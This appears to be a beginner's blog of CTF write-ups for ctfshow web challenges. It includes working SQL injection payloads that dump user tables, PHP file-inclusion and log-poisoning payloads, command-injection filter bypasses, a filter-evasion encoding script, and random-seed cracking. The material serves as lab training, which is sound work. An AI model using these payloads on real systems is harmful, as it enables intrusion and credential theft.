0%

web171

先利用单引号1’测试回显发现错误

再利用–+测试回显正常

然后利用order by测试字段数

最后得到字段数为3
1’ order by 3 –+ (通过修改数字判断字段数)

利用语句查询基础资料
0’ union select database(),user(),version()–+

查询ctfshow_web数据库下的表 2,3是占位符
0’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=’ctfshow_web’–+

查询列名
0’ union select group_concat(column_name),2,3 from information_schema.columns where table_schema=’ctfshow_web’and table_name=’ctfshow_user’–+

最后查询所有列的数据
0’ union select id,username,password from ctfshow_web.ctfshow_user–+

web172

前面的步骤和web171一样 但是这个只有两个回显

并且他添加了一个新规则

并且因为只有两个回显 所以在最后一步要删去username

即构造:
0’ union select id,password from ctfshow_web.ctfshow_user2–+

web173

一样一样和前面一样

但是不同点有三个字段

并且flag在第三个表内(ctfshow_web.ctfshow_user3) 且和上一题一样不能用username 用2替代

构造:
0’ union select id,2,password from ctfshow_web.ctfshow_user3–+

web78

看到是get传参

因为是文件包含 所以直接想到php伪协议

构造:
?file=php://filter/convert.base64-encode/resource=flag.php

然后直接base64解码

web79

看到代码中的 **$file = str_replace("php", "???", $file);** 意思是把 file中的php改为???

利用data协议

模板:
data:text/plain,

构造:
?file=data:text/plain,

web80

看到代码后发现他过滤了data协议

利用php协议的另一种用法(一般在burp中进行 浏览器中一般不成功)
?file=php://input
POST:

构造
?file=Php://input(利用大小写过滤php)

web81

看到把:给过滤了 所以data和php协议都不可以用

但可以使用日志

先访问
url+?file=/var/log/nginx/access.log

然后抓包并在UA头进行修改(只要添加)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0

然后得到flag

web51

进入后发现比上一题多过滤了tac

因此把tac换为ta\c绕过

构造:

?c=ta\c<>fla\给.php||

web52

发现把<>给过滤了

用${IFS}来代替<>

构造:

?c=ta\c${IFS}fla\g.php||

但发现没有得到flag

查看根目录 构造:?c=ls${IFS}/||

发现存在flag

访问flag后得到flag

web53

发现取消了”黑洞设备”

直接构造:?c=ta\c${IFS}fla\g.php

web54

发现把\过滤了所以ta\c和fla\g不能用了

ta\c可以用vi命令代替

fla\g可以用fla?.php代替

然后打开页面源代码发现flag

web55

发现过滤了a-z

可以用?直接用base64访问

构造:?c=/???/????64 ????.???

意思为:?c=/bin/base64 flag.php

进行解码

web41

这题太难了完全不是我这种web新手和编程新手能写的 甚至代码都看不懂 所以先用之后在理解

想了解入口:CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客

1.看见他把0-9和a-z过滤了直接懵逼

2.直接看大佬写的脚本(python脚本)

import re
import urllib
from urllib import parse
hex_i = “”
hex_j = “”
pattern=’/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i’ #题目中过滤的内容
str1=[“system”,”tac fla
“] #所需编码的内容
for p in range(2):
t1 = “”
t2 = “”
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern,chr(i)) :
break
if re.search(pattern,chr(j)) :
continue
if i < 16:
hex_i = “0” + hex(i)[2:]
else:
hex_i=hex(i)[2:]
if j < 16:
hex_j=”0”+hex(j)[2:]
else:
hex_j=hex(j)[2:]
hex_i=’%’+hex_i
hex_j=’%’+hex_j
c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
if(c ==k):
t1=t1+hex_i
t2=t2+hex_j
break
else:
continue
break
print(“("“+t1+”"|"“+t2+”")”)
*

3.通过修改编码内容完成过滤 运行脚本(python file.py)

4.然后在抓包软件输入结果然后得到flag

先介绍知识:

”>/dev/null 2>&1“可以用;、||、%26、%0a过滤

更深原理入口:linux环境下运行脚本时常用>/dev/null 2>&1 &这一串的作用_>nul 2>&1-CSDN博客

web42

进入后发现没有过滤只有”>/dev/null 2>&1“

然后利用上面的绕过得到flag

web43

进入后看到多了两个过滤;和cat

cat可用tac代替

;可用%0a等代替

web44

与web43相比 多了flag过滤

可以用*或?过滤

**:匹配0个或多个字符 如:fla *

?是匹配1和字符 如:fla?.php

所以直接改造 : ?c=tac fla?php%0a

web45

发现比上一题多过滤了空格

空格可以用%09等代替

构造:?c=tac%09fla*%0a

web46

这次多过滤了*和0-9

但%09和%0a是url 而0-9数字不包括url编码的数字

所以这次只需要和前面web45修改用?过滤

构造:?c=tac%09fla?.php%0a

web47和web48

和web46一样 新的过滤不影响

web49

虽然过滤了% 但是不包括url编码的%

所以构造相同

web50

发现过滤了%09和%26

%09用<>代替

%26用||代替

但我不知道为啥**匹配符合?**不可以用了

所以把fla?.php改为fla\g.php或者fla’’g.php

构造:?c=tac<>fla\g.php||或者?c=tac<>fla’’g.php||

                                                                                         ctfshow web入门 命令篇(二)

web35

解法一:与web34相同

解法二:用data协议 模板:data:text/plain,

本题用:

?c=include%09$_POST[a]?>    POST:a=data:text/plain,

web36

发现过滤了0-9数字把空格从**%09改为%0a**

web37

和前面的题差不多 直接用data或php协议绕过 推荐用data协议(因为不用后续解码)

?c=data:text/plain,

web38

发现过滤多了PHP和file导致标准的data无法使用 但可以使用简写版(把php改为=)

简写版:data:text/plain,

web39

和前面的题一样的解法

include($c.".php");含义是在变量c的值后添加.php 对data协议无意义

web40

localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。current()与其相似。

scandir():获取目录下的文件。

array_reverse():数组逆序。

next():函数将内部指针指向数组中的下一个元素,并输出。

print_r():函数用于打印变量,作用对象是变量。

show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。

highlight_file():跟show_source()类似。

仔细看会发现过滤的()是中文的 所以相当于没过滤

?c=print_r(scandir(pos(localeconv())));以数组的形式展现目录

?c=print_r((array_reverse(scandir(current(localeconv())))));将目录反转

?c=show_source(next(array_reverse(scandir(current(localeconv())))));显示数组1的高亮文字 得到flag

                                                                        ctfshow web入门 命令篇(一)

    web29

1.进入后发现是代码审计

2.目的是进入if中 首先要符合 !preg_match(“/flag/i”, $c ) 即c的变量不能包含flag的大小写(/i指的是无视大小写)

3.先查看网页的目录利用命令 ls

4.发现存在flag.php 利用*或?绕过 得到flag 用cat命令也可以但需要打开源代码才能查看flag

web30

1.进入后发发现我们要绕过**!preg_match(“/flag|system|php/i”, $c)**

System可以用passthru代替

flag.php 用fla?.php 或者 *符合绕过

然后得到flag

web31

1.进入后发现要绕过/flag|system|php|cat|sort|shell|.| |'/i 比上一题多了个空格

空格可以用%09代替

然后得到flag

web32

1.进入网页后 发现过滤flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i

利用文件包含来获取

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php(相当于建立一个a网页并把flag.php的内容进行base64编码后复制到a网页)

2.进行base64解码 得到flag

web33

1.和web32一样直接利用c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

解码后得到flag

web34

参考web33 一模一样

                                                                                ctfshow web入门 爆破篇 (二)

web 26

1.进入页面后直接点击”确定无误,开始安装”输入并抓包

2.发送到重放器点击发送得到flag

web 27

1.进入后点击录取名单和学生学籍信息查询系统

2.进入之后输入信息抓包

3.因为身份证少了出生日期 所以直接爆破

4.按照长度排序

5.输入结果后得到

6.在登录界面输入后得到flag

web 28

1.看到url后猜测是爆破目录

2.设置两个攻击点 如图

3.只保留200状态码 得到flag

                                                        ctfshow web 入门 爆破篇 (一)

web 21

1.先下载题目给的密码和打开网页

2.猜测账号为admin 密码随便输 进行抓包

抓完包后发到lntruderl

3.猜测最下面的是刚才是输出的账号和密码并猜测为base64编码 并且因为是post传参所以取消url 进行解码

4.看到解码 pload设置:前缀为admin:的base64编码 其他的设置如图

5.进行攻击 然后看状态码200就可以得到flag

web 22

.这道题好像写不了了

web 23

1.进入页面随便传一个参数然后抓包

2.然后发到lntruderl

3.设置参数为攻击点 并按照如图设置

4.攻击结束后 按照长度排序第一个不同的就对代开后得到flag

web 24

1.进入后发现是代码审计

2.看到随机种子直接发到php在线运行网页中运行

3.直接传入参数r=1155388967 得到flag

web 25

1.进入后发现为代码审计 先输入r=0得到-intval(mt_rand())的值

2.利用kali下载php_mt_seed工具爆破种子

3.查看网页的php版本

4.因此有两个种子被爆出来 一一测试先测试1313138925

5.在php在线网页运行

4.输入后不会 换为第二个种子3985641666

5.输入参数得到flag

    web 12:

1. 进入网页后先查看源代码发现什么也没有  再抓包发现也是一无所获

2. 用虚拟机kali 命令dirsearch 网页地址 -e*扫描网页    发现robots.txt

robots.txt: 一种协议(robots协议 也称爬虫协议)  作用:显示可访问的页面

3. 进入admin页面出现了登录界面

4. 猜测账号是:damin

5. 在看了别人写的wp发现密码在刚开始页面的最下面372619038

6. 输入账号密码后得到flag

    web 13:

1. 对网页进行一系列操作(如:查看页面源代码、用dirsearch命令等)

2. 发现一无所获

3. 发现题目给出提示

4. 

5. 回到网页进行检查在网页的最下放发现document(译:文件)并且可以点击

6. 进入后发现

7. 直接点击给出的后台地址会发现错误    需要把you-domain改为你的网页地址

8. 

9. 输入账号和密码后等到flag

    Web 14:

 

1. 题目给出提示直接访问/editor

2. 进入

3. 不管输入什么都会是404页面

4. 然后下意识就去上传一句话木马结果:

5. 

6. 之后,在上传图片的网络图片中发现网页根目录

7. 

8. 最后发现var/www/html/nothinghere/fl000g.txt

9. 访问   网站地址/nothinghere/fl000g.txt   得到flag

    Web 15:

 

1. 先对网页进行操作   在用dirsearch命令扫描后得到

2. 访问到admin时发现进入到  后台登录系统

3. 在查遍整个网页后就发现一个邮件  把邮件号当作密码输入错误  在忘记密码中输入邮件号依然错误

4. 因为忘记密码要输入地点  使用在qq中查找  但我没查到不知道为什么   网上看攻略是查到了

5. 

6. 在忘记密码中输入  西安  给出新密码

7. 在登录中账号:admin  密码:给出的

8. 得到flag

    

 

   Web 16:

 

1. 题目给出提示测试探针

2. 探针:

3. 在访问url加入后缀后

4. 点击phpinfo进入

5. 搜索flag

6. 找到flag

    Web 17:

 

1. 提示说会有文件泄露  这种情况一般直接用命令dirsearch扫描网页

2. 扫描结果

3. 

4. 直接访问网页/backup.sql

5. 然后就下载

6. 进入直接发现flag

 

   ** Web 18:**

 

1.进入后发现是个小游戏 我觉得一般人都不能通过玩获得flag

2.按f12在调试器的js文件中找到变量score和条件>100

3.直接在控制台输入score=200 在游戏开始时按Enter

 

4. 幺幺零点皮爱吃皮=110.php

5. 访问网站/110.php 得到flag

        

Web 19:

 

1. 打开网页源代码

2. 

3. 根据给出提示直接在f12的hackbar的post中输入

4. 

5. 直接得到flag

    

Web 20:

 

1. 直接用dirsearch扫描网页  扫描结果为

2. 接着用命令dirsearch扫描网页/db  得到

3. 直接访问下载文件在直接查找flag